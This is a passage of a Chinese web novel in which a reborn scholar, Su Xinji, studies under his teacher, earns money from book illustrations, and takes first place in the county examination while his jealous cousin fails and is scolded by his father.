“咳咳,夫子,学生现在就回家做功课。”胡天庆知道,若是继续等下去,肯定是要加作业的。
屋里的几人面面相觑,还是苏辛集站出来解围:“夫子,弟子有惑。”
“讲。”夫子冲着胡天庆挥了挥手,见他一溜烟地跑了,这才拿着戒尺进屋。
“三师兄煜盛性格沉稳,学问上也颇有天赋,这次您为何不让他一起下场?”
三师兄周煜盛不仅仅是夫子的入室弟子,还是夫子的亲侄子。按理说,夫子应该多加照拂,可偏偏夫子不同意他下场参加考试,难道真是因为怕失败了,心灰意懒?
众人都看向夫子,这个疑问萦绕在每个人心头。周煜盛的成绩比邓明光要好一大截,跟杨闻道不相上下,说起来是有一定把握考中童生的。
“天下文采斐然之人犹如过江之鲤,辛集,在学堂你可能算是天赋绝佳的,可若是放眼全省,比你强的,绝对不少。那些人自幼启蒙,积累深厚,真正经历县试,你们就明白老夫的苦心了。”
夫子倒不是有意打压亲侄子,只是希望他能多积累些,还有就是侄子家的条件,比起在场的几个弟子都要差不少,试错的成本对他来说太高了。
夫子的话,让在场的几人若有所思。
“你们没悟到也是正常,到了老夫这个年纪,你们就会明白,人生是一场长跑,成名太早未必是好事。”周夫子不知是想起什么,眼神中满是惆怅。
“让夫子费心,弟子惶恐。”苏辛集道。
“好了,今日叫你们过来,便是要嘱咐你们,想要通过县试,时文范文是必不可少的。”说着夫子从桌上拿起一本册子:“这是老夫整理的,也许不够全面,但也是老夫多年的心血,你们几个可以相互传阅抄录。”
说着,夫子看向苏辛集:“辛尔说家中有事,先行离开,等回头你可以跟他一起探讨。”
关于白鹿洞书院名额一事,周夫子有所耳闻,他心中这杆秤已经偏向这位小弟子,暗暗把选择权交给苏辛集。
苏辛集心领神会,郑重道谢,随后走上前接过夫子手中的本子。
看到里面密密麻麻的字,苏辛集就知道自己把时文想的太简单了。
他一直觉得,四书五经加起来能有多少字,这些日子自己都背的滚瓜烂熟,可当他真正看到这些题目的时候,才知道这题目可以多灵活。
第二十四章 分成到手
见苏辛集如此,周夫子以为他受了刺激,便开口安慰道:“你毕竟入门时日尚短,日后机会多的是。”
“夫子,我明白。请问除了这些,哪里还能看到时文范文?”
还不够?
众人一怔,这是又要加量的节奏?
“你若能把这些吃透,绝对能拿下童生。题目虽多,但万变不离其宗,很多题目采用割裂经书文句,截断牵搭的方式出题,需学会以不变应万变之法。”
苏辛集点头,夫子的意思他心里清楚,这是让他们自己从范文中摸出规律,总结破题思路,争取能做到触类旁通。题海战术不可取,即便是侥幸通过县试,这种方法也不会长久。
“当然了,你们几个若是觉得还有余力,可以去崇文阁转转,那边有些不错的书。”夫子知道,大家的心情,便多说了几句。
一番叮嘱后,夫子道:“今日到这里了,你们散了吧。”
“学生告退。”
一行人出了学堂,胡天庆凑了过来:“都讲完了?”
温长丰看了一眼胡天庆红肿的手背,无奈的道:“你说你也是,刚才不都说了要回家,又跑到书房外凑热闹,手不疼么?”
“这不是想着明日休沐,咱们好好热闹下么。”胡天庆学习不行,但是吃喝玩乐还是有一套的。
“好吧,那就一起去吧。”大师兄注意到周煜盛还在读书,便过去拉他的胳膊:“一起去吃点,学习不在这一时。”
“也好。”
几个人去了缘合居,吃了顿大餐,苏辛集看着桌上的卤猪脚,道:“小二的,你家的猪脚味道极好,你再给我做两份,我要打包。”
“你还没吃饱?”胡天庆疑惑的道。
“煜盛你等下带一份回去给夫子,一份给我娘。”苏辛集笑着道。
周煜盛笑着道:“你啊,怪不得大伯总是念叨你,这份机灵劲而我是自愧不如的。等下回去后,大伯肯定又要念叨我了。”
“爱之深,责之切,夫子都是为了你好。”
众人相视一笑,走出缘合居。
苏辛集回到家,把卤猪蹄交给了母亲,他自己则是马不停蹄的开始抄书,夫子的手稿就一份,邓明光本想先看,可大师兄说,夫子既然把书给了小师弟,那就让小师弟先看吧。
苏辛集没有拒绝大师兄的好意,承诺三日内便可看完。
这一夜,对林沐芳来说,是个难眠之夜。她一边欣喜儿子的变化,另一边又担忧儿子太辛苦,整日泡在书房,抱孙子的事情就遥遥无期了!
只是马上就要县试,也不好给儿子太大压力。
苏辛集完全不知道母亲的担忧,和谢嫣儿加班加点,终于是把插画画完了。第二天一大早,
苏辛集便带着插话来到崇文阁。
“自从《五国演义》演义配上插画,我这些精装书全部售罄了。这是当初答应你的一个点,三百两银子,你且收好。”赵掌柜把银子递给了苏辛集。
“多谢掌柜的关照。”
苏辛集原本打算等县试过了,再多接点插话的生意,毕竟跟赵掌柜谈的分成,若是真能大卖,那就是躺赢。比写话本还划算些,惯例话本卖给书局,都是谈的买断。现在见利润颇丰,他又改了主意。
“呵呵,应该是我道谢才是,若不是你,这些精装书还得在我这里吃灰呢。自从《五国演义》大卖,其他书房不知道从哪儿找了人,也跟着仿照你的风格,做了好些插画,就连《论语》都有,你看,这是我买来的,这画风有些相似,但细节上粗糙的很,就这样,销量还提升了不少。”
苏辛集微微一笑,这些他早就想到了。
“赵掌柜,这是我家娘子最近画的几张插画,你看如何?”
赵掌柜接过插画,瞬间心头火热,“苏少爷,敢问这是用何笔做的画?恕我眼拙,竟从未见过如此精巧的画作。”
“这些黑白的是炭笔,上色的是毛笔画的,不过颜料都是我自己秘制的。”
“怪不得,颜色如此绚丽。”赵掌柜由衷的赞叹道:“这画真是把人物都画活了。这话本一定能火,还是老规矩,给你一个点,之前预付的五十两,后面等销售数据出来,我在再给你结算剩下的。三少爷,你就等着收钱吧。”
赵掌柜卖了这么多年书,眼光很毒,能不能大卖,他能预测出个七七八八。
“借您吉言,我就静候佳音了。”
“呵呵,放心吧。我听说三少爷要参加县试?”赵掌柜问道。
“对,试试手,就当积累经验了。”苏辛集低调的回应道。
“也好,东家知道带插画的精装书卖的不错,特意留下话,等你再送来插话,加印五百册,他走商的时候,带去黑泉县,那边的书局跟我们也有些往来。”
这就要拓展市场了?
苏辛集这才想明白,怪不得赵掌柜给了五十两定金,怕是早有打算。有机会倒是可以认识下崇文阁的东家。
“赵掌柜,我还想要些县试的相关学习资料,可有?”
“内部资料?”赵掌柜神秘一笑:“别人来是没有的,三少爷要,我给你打八折。”
说着,从抽屉里拿出一本小册子,苏辛集粗粗一翻:“多少银两,我要了。”
“五十两。这可是东家从省城淘来的,你可仔细看,不要外传。”
“明白。”
休沐期间,县衙出了告示,县试的时间确定了,主考官是知县。
县试前,考生需先去县衙礼房交保结,填报考生信息,除了外貌、年龄、籍贯这些,还需要上查三代,确保身价清白。
这些苏辛集倒是不担心,这些事情,周夫子都会安排妥当的。结保的人应该都是学堂的师兄们,也算是知根知底。
看到两个孙儿要一起参加县试,老爷子苏谅这几日难得有些精神头。
“读了这些年的圣贤书,自然是要高中的。”听到这话,苏辛尔挺了挺胸膛,他知道,爷爷这是寄予厚望。三房那个傻子才读了几日书,纯粹就是个陪跑的!
第二十五章 县试互结
二房苏富听了很是得意:“父亲,夫子最近也总是夸赞辛尔,说他文采了得,才思敏捷,要不是前年出了岔子,辛尔早就是童生了。”
苏谅眼中闪过一抹惋惜,随即安慰道:“天将降大任于斯人也,必先苦其心志,这次咱家说不定能出位秀才呢!”
二房苏富得意地看着一眼儿子苏辛尔,随后叹了口气:“但愿吧,辛尔这孩子也是命苦,若是前年考中童生,就可直接入读白鹿洞书院,也不至于蹉跎这两年。现在若是真的拿到书院名额,恐又有人多心,好像我们二房欺压三房似的。”
苏谅自然听得懂,知道儿子这是不满自己的决定。便道:“一家人,不要太过计较,你三弟走得早,辛集这孩子也是可怜。”
长辈开口,苏辛集没有插嘴。苏富却不肯善罢甘休,他又开始碎碎念:“爹,周夫子把因材施教挂在嘴边,我也觉得有道理,辛尔这孩子打小就聪明,天赋比辛义好多了,光耀我周家门楣的重任,辛尔义不容辞。按理说,辛尔是哥哥,辛集又是个没爹的,家里多照顾下是应该的,可这读书,是要讲究天赋的,烂泥巴终究是糊不上墙的。”
苏辛集听到最后,直接给了苏富一个白眼。
县试还没开始呢,说得好像你儿子已经高中了一般。真是一点不给二房留退路啊。不过看苏辛尔的样子,好像是挺自信的,苏辛集也懒得多费唇舌。
到时候考场见真章呗!
距离县试越来越近,林沐芳也开始为苏辛集准备考试用的单衣,本朝规定考试必须穿单衣,即便是天寒地冻,也只能多穿几件。林沐芳为儿子准备了八件单衣,想来是够用了。
能不能考中还是次要的,主要是儿子开心便好。自打失去了丈夫,林沐芳对生活就少了几分执念,总觉得一家人齐齐整整地最重要。
休沐的一天时光,苏辛集窝在书房一直没出来。
周夫子的笔记实在是精细,苏辛集这才明白为何爷爷苏谅一定要子孙跟着周夫子学习。周夫子的笔记旁征博引,加入各种典故穿插其中,几个时辰下来苏辛集觉得津津有味,丝毫不觉枯燥。
很多细节都能看得出,周夫子是个真正做学问的人。他非常爱惜书,笔记都包了书衣,即便是写过字的白纸,也都会收拾好仔细存放。苏辛集曾经问过其他师兄,这才知道周夫子认为,用过的纸上记录了一点一滴的成长,要时常拿出来复盘,提醒自己该朝着何处努力。
得遇良师,距离县试越来越近,苏辛集是一丝都不敢懈怠。
天刚蒙蒙亮苏辛集便起来背文章,上午听夫子讲解典籍,下午则是练习破题。
苏辛集重生前,是正儿八经的博士,经史典籍不能说信手拈来吧,也算是小有所成。只是对八股文的掌握,还欠些火候。想要写好八股文,并非一朝一夕,除了将制式摸透,还要博览群书,言之有物。为了准备县试,苏辛集铆足了劲神。
考前十五日到三十日,要去县署礼房缴纳卷资。日子刚到,周夫子便带着报考的五人前去。
“这次考试,你们五个人互结,荣辱与共,即便是平时有些龃龉,到了这个时候,也该顾全大局,明白么?”
周夫子知道学生们的秉性,低声敲打道。
“夫子,我们师兄弟亲如手足,定然不会有不该有的小心思,你们说呢?”苏辛集看向邓明光和苏辛尔。
亲如手足?
大师兄温长丰有些错愕,当初苏辛集不是被他堂哥推到水里去的么,还差点淹死,平日邓明光也没少针对他,这小子还真是想得开啊。
苏辛尔察觉到众人的眼光,表情微微一僵,随后笑道:“辛集把我的心里话都说了,夫子,您放心,出门在外我们定当齐心协力。”
心里话!
二师兄杨闻道冷笑,就你心理最阴暗,鬼才信你能说心里话。
跟苏辛尔同窗多年,杨闻道很清楚苏辛尔的心思深沉,若不是夫子安排,他们都不愿与苏辛尔互结。
一顿嘱咐过后,周夫子才稍稍安心。来礼房排队的学子很多,大约半个时辰,才轮到苏辛集。
写浮漂的人看到苏辛集,怔了下。
这不是前阵子大摆三日流水席的苏家三少爷么,都说他脑子不太灵光,如今竟来凑这个热闹?
苏辛集不对方心中所想,拿出自己的公验。
“山阴县,曾祖苏山,祖父苏谅,父亲苏武,苏辛集。”
典史字正腔圆,念着公验上的信息,心情有些复杂的看向苏辛集。
“是。”
苏家的傻少爷,真的识文断墨,能参加县试?若是真能中了秀才,谢家丫头倒是有福了,也不枉大家一片苦心,帮谢家求情。
虽然心中感慨,典史还是下笔写了起来。苏辛集的外貌,年十七,身量中等,面白无须,双目炯炯有神。
苏辛集拿出早就准备好的一两卷资,交换了浮漂,随后道谢走到一旁,等待其他人。
打量着排队的人,苏辛集不禁感叹,都说读书不易,且不说其中辛苦,就是这报名费、参加考试的花销,都不是一般家庭能负担起的。
很快,几人都走完了流程。周夫子在回去的路上,还在讲学,想到县试需要注意的事项,也开口提醒。
“老夫多年前参加的县试,如今肯定有所变化。长丰参加过两次,倒是可以细细说说。”周夫子道。
“呵!”邓明光不合时宜的笑声,让大师兄眼神一凝。
这不是往人身上捅刀子么,苏辛集刚想开口,夫子横了众人一眼:“认真听!”
“县试进出考场,不得喧哗。饮食可以提前准备些干粮。其他所需皂隶都有准备,使银钱便是。”
夫子点头:“你们都记好。既然你们都下定决心,老夫便全力以赴,督促你们迎接考试。”
注意到大师兄并没有在意刚才的插曲,苏辛集这才放下辛,如果真因此影响心态,那成绩恐怕不会理想。
第二十六章 杀人诛心
苏家。
林沐芳听说儿子回来,立马出去迎接。
“集儿,还算顺利么?”
“很好,娘,咱们进屋说。”
屋中,注意到谢嫣儿不在,苏辛集还有些意外:“娘,嫣儿不在?”
“她一大早便带着入画去甘露寺许愿了,希望你能顺利通过县试。”林沐芳本想一起去,可谢嫣儿说,苏辛集当天便能回来,林沐芳又怕儿子回来一个人也见不到,这才留在家中。
苏辛集有些纳闷,谢嫣儿真有那么好心?
她可是连拉手都不愿意的。
“集儿,你也不要太拼,仔细伤了精气。”林沐芳就怕儿子一心铺在学习上,耽误了抱孙子的事情。
“娘,我有数。”苏辛集说着,已经拿起了书本。林沐芳一声叹息,只能悄悄走了出去。
以前,林沐芳是担忧儿子不识文墨,被人欺负。现在看儿子头悬梁,锥刺股般的用功,依旧是患得患失。
天越来越黑,苏辛集依旧沉浸在书的世界里。
谢嫣儿回来,浅浅说了几句去甘露寺的见闻,便不在言语。草草吃了晚饭,俩人便窝在书房,各忙各的。
夜半时分,林沐芳披着衣服过来,看到儿子儿媳都在案前,轻叹了一声。
苏辛集听到动静,便探头出来:“娘,你怎么还不睡?”
“起来小解,顺便看看。你们啊,得劳逸结合,到了娘这把岁数,就知道熬夜的厉害了。”林沐芳看了一眼屋里:“别叫嫣儿画,伤了气血可就难补了。”
“知道了,娘,您先去休息,我这就去睡。”余光瞥见母亲鬓角的斑白,苏辛集有些内疚。
也不是他故意想让母亲担心,实在是没多大的把握,县试高手云集,怎可大意。
谢嫣儿听到苏辛集母子的谈话,心有所感,倒是很配合的放下笔,准备休息。
“要不,一起去卧房吧。”谢嫣儿红着脸道,她很清楚婆婆的心思,怕两个人再分房睡,婆婆就更睡不着了。
“嗯,也好。”苏辛集近日忙着准备县试,早就筋疲力尽,脑袋刚沾枕头,便沉沉的睡去。谢嫣儿一声苦笑,终究还是自己想多了。
次日,天没亮,苏辛集便起床了。叫醒他的不是公鸡,而是生物钟。
听到动静,谢嫣儿跟着起床了:“怎么不再休息下,还早呢。”
“不困,你歇着吧。”说着,苏辛集拧了个冷帕子擦了擦脸,这法子重生前就常用,尤其是寒冬腊月,冷水一激,从头到脚都是清清爽爽的。
“你身子本来就弱,怎么还用冷水?”谢嫣儿的语气中带着几分嗔怒。
“没事的。”苏辛集突然握住谢嫣儿的手:“娘子,你这是心疼我了?”
谢嫣儿羞涩的抽回手:“我去给你弄点吃食儿,这么饿着读书可不行。”
苏辛集哈哈一笑,看着谢嫣儿落荒而逃的背影,他心情大好。
很快,谢嫣儿就提着食盒过来了,打开一看,倒是丰盛。有白粥、小咸菜、馅儿饼和鸡蛋。
谢嫣儿知道苏辛集时间宝贵,坐在旁边帮他扒鸡蛋皮。
“你这么苦读,不是长久之际,要我说咱们就算是靠插画,也能衣食无忧。”
“那可不一样,靠画插画,你此生都见不到你爹的。”苏辛集看着谢嫣儿,认真的说道。
他这般努力,是为了给我家平反?
谢嫣儿一时失神,不知是想到了什么,呆呆的看着苏辛集。这一瞬,压在心底的秘密就要脱口而出了。
看着谢嫣儿朱唇轻启,欲言又止的样子,苏辛集笑着打破僵局:“呵呵,也就是这半月的功夫,过了这阵子我就有时间多陪陪你了。”
说着,苏辛集伸手握住谢嫣儿的手,感受到温润的掌心,谢嫣儿这次没有躲闪。林沐芳刚要进屋,恰好看到这一幕,暗自怪自己多心,这小两口举案齐眉,关系好着呢!
时间眨眼到了考试前夕,苏辛尔提前三日,便到了考场外的宅子里适应环境,苏辛集则是跟师兄几人合租了院子。
为了节约银两,几人只是提前租了一日。到了这个节骨眼,不少房主都坐地起价,一日十两租金的院子比比皆是。二房苏富也是看中了租金丰厚,才买了院子,前些年都是往外租的。
“集儿,你尽力便可,左右咱家还有天地,你媳妇儿又是个会画画的,怎么也不会饿着的。”
“知道了,娘。”
考试这天。
偏偏天公不作美,下起了小雪。天气不算太冷,雪落在地上便化成了水。幸亏母亲提早准备好了伞,还真是派上用场了。
苏辛集把考篮挎在身前,生怕被打湿了,身上的六层单衣也不如一层棉,风一吹,骨头都冻得疼。
随着人群来到了考场前,苏辛集不由得想起了重生前,父母陪着自己进入高考考场,母亲还特意穿了旗袍,寓意旗开得胜。
如今,倒是也有父母想要博个好彩头,只是做法不同罢了。
“呦,这不是辛集么。”二房邹氏阴阳怪气的声音传入耳中,不等苏辛集回应,苏富便道:“集儿,你说你也是,家里在这边有院子,空着两间房,你还非得跑出去再租。”
“二伯,我这不是跟大师兄他们都说好了,我们住的地方离这里也不远,挺好的。”苏辛集道。
“嗯,你开心就行。”苏富点了点头,假模假样地说道:“好好考,一定能过的。”
“承二伯吉言,二哥也肯定能榜上有名的。”
“哼!”邹氏不屑冷哼了声,要不是在公众场合,她肯定还有下文。
人越来越多,苏辛集跟温长丰他们渐渐分开,倒是苏辛尔一直就在附近。
“苏辛集,你说你才学了几日,有必要非得来凑这个热闹么?娶了个谢嫣儿,已经用尽了你这辈子的运气,你何苦还来浪费银子?”
苏辛集皱了皱眉:“科举之事,变数甚多,没到最后一刻,谁又能说得准?”
这里那么多人,有少年,也有中年,甚至是白发老人,也许不是谁都能有好运,但做人一定要有信仰的。
“呵,三弟说的也对,变数甚多。辛集,前些日子,有人看到弟妹去甘露寺跟老男人私会,不止一次了,你这光顾着准备县试,小心头顶有变哦!”
杀人诛心!
苏辛尔就是故意的……
第二十七章 第一个交卷
苏辛集抬头看了一眼天空:“头顶?日头出来了,刚才还是乌云一片,没想到这么快就拨云见日,二哥,好兆头啊!”
苏辛尔吸了口气,没想到苏辛集会如此淡定。算了,先考试再说,等自己高中,就把他们撵出苏家!
雪慢慢小了,天空渐渐多了一抹湛蓝,光亮的乌油大门缓缓打开。
苏辛集穿的不少,可手还是冷的。
考生、送考的队伍,站满了整条街道。苏辛集环顾四周,考生们有白发苍苍的老者,也有十几岁的孩童,年龄跨度很大。
衙役们大声喝道:“闲杂人等止步,考生排队入场。”
检查的过程极为细致,考生需要解开层层单衣,就连鞋袜也要褪去。考篮中的东西都要检查,就连烧饼、馒头都要掰碎了。
据说县试还算宽松,府试、院试更为严格。
苏辛集观察着周围的情况,就听到有人喊道:“不是我的,不是我的!”
朝前望去,有个年轻学子惊慌失措,苏辛集也难免叹息,分明就是有人故意陷害。
县试天亮开考,到黄昏时分,才能结束。
考场内。
阵阵恶臭铺面而来,苏辛集知道最不愿的事情还是碰上了,他抽到的是厕号!
顾名思义,就是在茅房旁边的考棚,整个考场中最差的位置。据说坐厕号者,鲜有高中的。
想想也是,人都被熏得头昏眼花,还如何能静心作答?
苏辛集强迫自己静心,拿出母亲亲自调制的清风油,涂抹在鼻子下方,原本这是母亲让他提神醒脑用的,没想到还能用来祛除异味。
苏辛集看到只能容下一人的隔间,拿出提前准备好的抹布,细细擦拭。虽然考试前,便有人打扫过,但是擦了一遍,抹布还是变黑了。
苏辛集坐好后,看到时间还早,便靠着墙闭幕眼神。巡逻的人看到苏辛集坐在厕号,还能松弛感拉满,忍不住侧目。
“大昭朝十七年县试,始。”
衙役举着考题从各个考棚前经过,经过苏辛集所在的位置,衙役眉头紧蹙,似乎是有意屏住呼吸。看向苏辛集的目光中带着几分同情之色。
苏辛集把考题写在草稿纸上,衙役落荒而逃,未敢多停留一秒。
“见贤思齐焉,见不贤而内自省也。”
出自《论语》中的一句,直接从四书中选一句当题目,算是比较简单的。科举这些年,这样的题基本就是县试中才能碰上。
第二题,是经文题,照例是可选的,苏辛集选择的是《易经》。
“形而上者谓之道,形而下者谓之器。”
第三题是试贴诗。对苏辛集来说,要求并不高,只是对仗工整,遵守平仄格律即可。
三道题都抄下后,衙役便不再走动。
苏辛集并未马上提笔,而是看着题目。
此前,平江县刚出了“科举舞弊案”,谢允也是因为此时,才弹劾当朝首辅,圣上心中有数,可为了权衡大局,才将谢允流放。同时,同意赦免九族,谢嫣儿这才有嫁入苏家的机会。苏辛集报名时虽遇到些小波澜,但也算是有惊无险。周夫子为此大费周章,只是未曾对苏辛集提起。
苏辛集猜到知县的用意,是要劝学子提高思想觉悟,时长自省。
苏辛集提笔,在草纸上写了起来:“贤为善行之表,不贤为过失之征,思齐自省,见贤则募之,见不贤则警之。修身之道,不外乎取法乎上,防患于未然。这道题作为县试第一题,局说明县尊大人希望学子能见贤思齐,自律自省。”
破题,承题,起讲,入题……
一气呵成!
每日的苦读,让苏辛集有了深厚的积累,他很快就答完了第一题。写完之后,将草纸,放到一边,才开始第二题。
道为根本,器为载体,道统御器,器承载道。君子当明于道,精于器。这是核心,围绕着这个,从几个方面剖析,最后整合,文章大致就成型了。
打下腹稿,苏辛集便顺势写下。苏辛集心里清楚,县试的答案,不需要别出心裁,只要思想中正,卷面整洁,言语流畅,就不会差到哪儿。
洋洋洒洒一大篇,苏辛集写完,手腕有些酸痛。
眨眼到了午饭时分,苏辛集没敢买饭,只是拿了随身携带的烧饼,刚才作答没觉得,这会儿要吃东西,又感受到了阵阵恶臭,顿时胃口全无。苏辛集强压着心情,喝了口水,才忍着没把早饭吐出来!
苏辛集微微晃动手腕,耸了耸肩膀,等疲惫感渐渐散去后,这才拿起第一篇的草稿,细细品读,酌情修改。
修改完后,苏辛集再读了一遍,确认没什么要修改的地方后,这才开始誊抄。
誊抄完第一题,苏辛集这才开始做第三题,随后修改第二题的文章,誊抄过后再去修改第三题。这也是他自己总结出来的答题技巧,可以最大程度的集中精力作答。
县试期间,大多数考生都会选择克服三急,一来耽误功夫,二来怕考官对自己印象不佳。可不代表没人如厕。经过中午太阳一晒,熏人的气味愈发浓郁,苏辛集细细检查了下,起身去交了卷。
毫无悬念,苏辛集是考场中第一个交卷的人。倒不是他想出风头,实在是这个味道,让人上头。
监考官心里直犯嘀咕,见答案工整,字迹清晰,便没多说什么。随后,衙役便领着苏辛集去龙门等着。
考场有规定,必须凑齐十个人才能出去。这也是为了维持秩序,保证考生安全。苏辛集猛吸了几口新鲜空气,肚子不争气的叫了起来。苏辛集想到了烧饼,看向考篮,里面的烧饼早就被掰的稀碎,苏辛集瞬间没了胃口。
等着等着,苏辛集顿觉头晕,想必是饿的,正想要不要先坐一坐,就看到有人出来了。
出来的人苏辛集恰好认识,同窗邓明光!
邓明光脸上春光灿烂,以为自己是第一个交卷的,肯定能博个好彩头。冷不丁的抬头,这才注意到苏辛集早站在那儿了。邓明光的脸一下子就垮了,他冷哼了声,还是不情愿的走了过去。
第二十八章 中了!还是榜首?!
“嚯,这味儿。”
邓明光嫌弃的闪了闪鼻子,旁边衙役横了他一眼。陆续有人出来,苏辛尔也在其中。他跟邓明光关系不错,俩人站在门口就开始讨论。
“第一题往年考过,真没想到,如此简单。是辛尔兄,以你的能力,这种题还不是信手拈来。”邓明光吹碰道。
苏辛尔自我感觉良好,也有些飘飘然。
“这题确实考过,可正因如此,也变得很有难度。你想,大家都有答题套路,那就要比谁能推陈出新。这题想要出彩,有难度!”
苏辛尔提前做了不少功课,往年的真题他手里也有,是父亲苏富花重金淘换到的。苏辛尔也清楚,碰上原题的概率极低,还有一些市面上流通的预测题。苏辛尔反反复复做了七八遍,对于题目的分析,还是有几分道理。
听到苏辛尔的结论,周围不少人都变了脸色。
还需要新意?
“辛尔兄所言极是。”
苏辛集瞥了眼说话的人,那人少说得五十了,还能脸不红心不跳的叫辛尔兄,确实令人佩服。
苏辛尔觉得自己答的不错,听到众人的吹捧,心中一喜,忍不住走到堂弟面前炫耀:“第一个出来,肯定是不会答题吧,夫子白培养你这些日子了,怎么一点沉不住气呢?”
苏辛集已经饿的濒临晕厥,他是强撑着这口气,才没有倒下,哪里还有心思跟苏辛尔拌嘴?
终于凑够十个人,苏辛尔原本站在门口,听到周围的夸赞,他愈发知道谦让,闪身让出一条路,让其他人先行离开。众人纷纷谦让,都想保持读书人应有的体面。
就在这时,一个身影已经走出了龙门。
外面吹打班子动了起来,围观的群众就猜到,是有人提前交卷。人群中,苏富抻着脖子张望,期待能看到儿子的身影。
下一秒,苏富就愣住了,出来的人不是儿子苏辛尔,而是侄子苏辛集!
邹氏惊的抓住了丈夫的胳膊:“我是不是眼花了,苏辛集是第一个出来的?”
“夫人,别着急,他肯定是不会!”苏富笃定的道。二人一时恍惚,苏辛集已经来到他们面前:“二伯。”
“嗯,题目不难,中规中矩吧。”苏辛集笑着道。
还没等苏富开口,就听到苏辛尔的声音:“不难?说的好像你能拿案首一样!那么快交卷,都是胡蒙的吧。”
苏辛集饿的前胸贴后背,现在见苏辛尔上蹿下跳,当面讥讽,火气也上来了:“你是批卷人?你怎么确定我就是胡蒙的?”
周围人见俩人拌嘴,很有默契的绕了下。
苏辛集没时间废话,大步朝着夫子走去。
“辛集,考试可还顺利?”周夫子关切的看着苏辛集。
“很好,幸不辱命。”苏辛集躬身道。
“呵呵,好孩子,饿了吧,这鸡蛋还是热乎的。”夫子从袖子里摸出俩鸡蛋,苏辛集接过,眼睛酸的厉害。
“怎么?等着老夫给你剥皮?”
“不是,我这就吃。”
苏辛集不敢耽搁,他刚才就差点晕倒。据说往年有人就因为考试付出了生命,这些人体力不支,亏了精气,后面想要翻盘,更是难上加难。
“嗯,回去我给你们熬姜枣茶,喝了能驱散寒气。”
“能喝上夫子熬的姜枣茶,那可是一桩美谈。”
二房邹氏见苏辛集跟夫子有说有笑,气的牙根痒痒。后面还有好几场呢,看你小子怎么折腾!
苏辛集见二房气鼓鼓的转身离开,这才道:“夫子,也不是非要姜枣茶,按理说状元及第粥更好些。”
“还敢挑肥拣瘦?有的喝就不错了!”周夫子从未下过厨,这次为了学生们,也算是拼了。
总算是完成县试第一场,虽说就是科举之路的第一步,但心里紧绷的弦儿,总算是可以松一松了。
县试份正试和附试,最主要还是得看第一场成绩,附试就是起个检验作用。若是附试太差,表现的一窍不通,那肯定不行。
第二场是靠的判断能力,无论是考判断力还是法律常识,苏辛集都有把握。
总共十道题目,苏辛集嘴角上扬,虽然没碰上原题,但夫子给的笔记里有有三道类似的。
周夫子这押题技术都可以出书了!
两场考试都结束后,苏辛集马不停蹄的回到住处,倒头便睡。接下来就是等着放榜,林沐芳这几日在家,天天烧香,就是想求佛祖保佑,苏辛集必定高中。
谢嫣儿倒还是老样子,总是有些心不在焉。全家最正常的反而是苏辛集,吃吃喝喝之余,又在写写画画。
他的小说已经写完第一卷,正在修饰,准备等放榜的时候去书局碰碰运气。
放榜的日子越来越近,苏辛集潜意识里认为自己能过,但真要放榜,心里也捏着把汗。辗转反侧了一夜,第二天一早便起来了。
谢嫣儿看到苏辛集顶着俩熊猫眼,特意弄了热水帕子:“快敷一敷,你瞅瞅你的眼睛。”
这次,几乎是苏家总动员,除了老爷子苏谅和一些女眷孩童,其他的人全去了。大堂哥苏辛义身材高大,又年轻,老远就往榜单前挤,只见他伸出蒲扇大的手,扒拉开人群,自顾自的挤了进去。
“什么?中了!还是榜首?!”
苏辛义的声音,隔着五六米都能听到。
“太好了,我中了!”
苏辛尔听到大哥的声音,高兴地一跃而起,苏富夫妇更是开心的合不拢嘴。
“不是,不是,辛尔,你……哎呀,我是说那个……”苏辛义知道弟弟误会了,尴尬的看向苏辛集。
“你说啥啊,大哥,什么你啊,我啊的。”苏辛尔狐疑的看着大哥,大哥虽然读书不多,但字还是认识不少的。
“辛尔,我是说那个谁,中了。”说着,苏辛义瞥向堂弟。
“谁啊?”邹氏扯着嗓子吼道。
“不是我?我没中,榜首怎么可能是他?”苏辛尔的心,从山顶跌至谷底,他怎么也不能接受大哥的话,“我不信!”
第二十九章 秀山书局
苏家管家从人群中窜出来,胡须微颤:“是三少爷,三少爷中了!正场!”
众人听了,纷纷侧目,苏辛集瞬间被兴奋淹没了,他冲着众人拱了拱手,目光从二房的人身上扫过,没说什么。
管家把提前准备好的喜钱撒了出去,赢得周围一阵哄抢。
“这位正场看着面生,他是哪家的公子?”众人见管家撒钱,苏辛集本人衣着不凡,一看就是富家公子。
“苏家啊,听说他家的三房是个傻子,没想到竟然中了正场。”
“莫不是娶了谢家丫头的那个?”
“是啊,婚宴连摆三天,难得还有一颗菩萨心,若是他入仕为官,定能救百姓于水火!”
“嘘,莫要瞎说。”
苏辛义看着堂弟傻笑,又看了看自家弟弟垂头丧气,心中感慨,他走到苏辛集身侧,一巴掌拍在他肩上:“三弟,走,回家了!”
声音振聋发聩,苏辛集一抖,险些栽倒在地。
“大哥,你这声音忒大了些。”
苏辛尔不愿意相信,心存侥幸地冲到榜前,仔细又看了一圈。
还是没有!
这下他只觉得一股寒气从脚底升起,脸色惨白,苏富急切地道:“是不是漏了,你再好好找找!”
周围毫不掩饰的嘲讽之色,让苏辛尔恨不得找个地缝钻进去。他回头看向苏富:“爹,确实没我。”
“怎么会没有?你读了那么多年书,是白读的?”
苏辛尔太了解父亲,若是继续在这里,自己的脸面就彻底碎一地了。
“爹,咱们先回家吧。”苏辛尔恳求的声音都在颤抖。
“回家?咱们苏家都指着你能出人头地,家里的书一堆,也不见你读,天天去学堂,也不知道鬼混什么!现在知道丢脸了?”苏富咆哮道。
苏辛尔只觉得天都要塌了,父亲毫不留情的职责,如同一柄利剑插在他的心窝。
苏辛义看着弟弟的样子,心里很不是滋味,挡在苏辛尔前面,对着苏富道:“爹,不少人考了十几次都没中,辛尔还不到二十岁,机会多的是。下次再来便是了!”
“你说的轻松,这次过不了,白鹿洞书院你是别想了!滚,我没你这种不争气的儿子!”苏富心里委屈极了,家里好吃好喝的供着,要啥买啥,书房里的藏书有上千册了,凡是市面上有的,都给买回来了,为了这次考试,还花了数百两银子买了知名书院编写的内部题。
这下好,榜都没上。人家苏辛集连个爹都没有,还得靠妻子画插画赚钱养家,就这样,人家还中了正场!
见父亲如此狠绝,苏辛尔情绪上来了:“爹,考不中的不止我一个,您当年不也没中过么?大伯不也是考了二十年才中的?”
苏富扬起手,不知为何这一巴掌却没落下。苏富大口的喘着粗气,终究没再开口。苏辛集冷眼旁观,暗叹苏辛尔放在现代,说不定得抑郁的自杀,这样的父母,真是太令人窒息了。
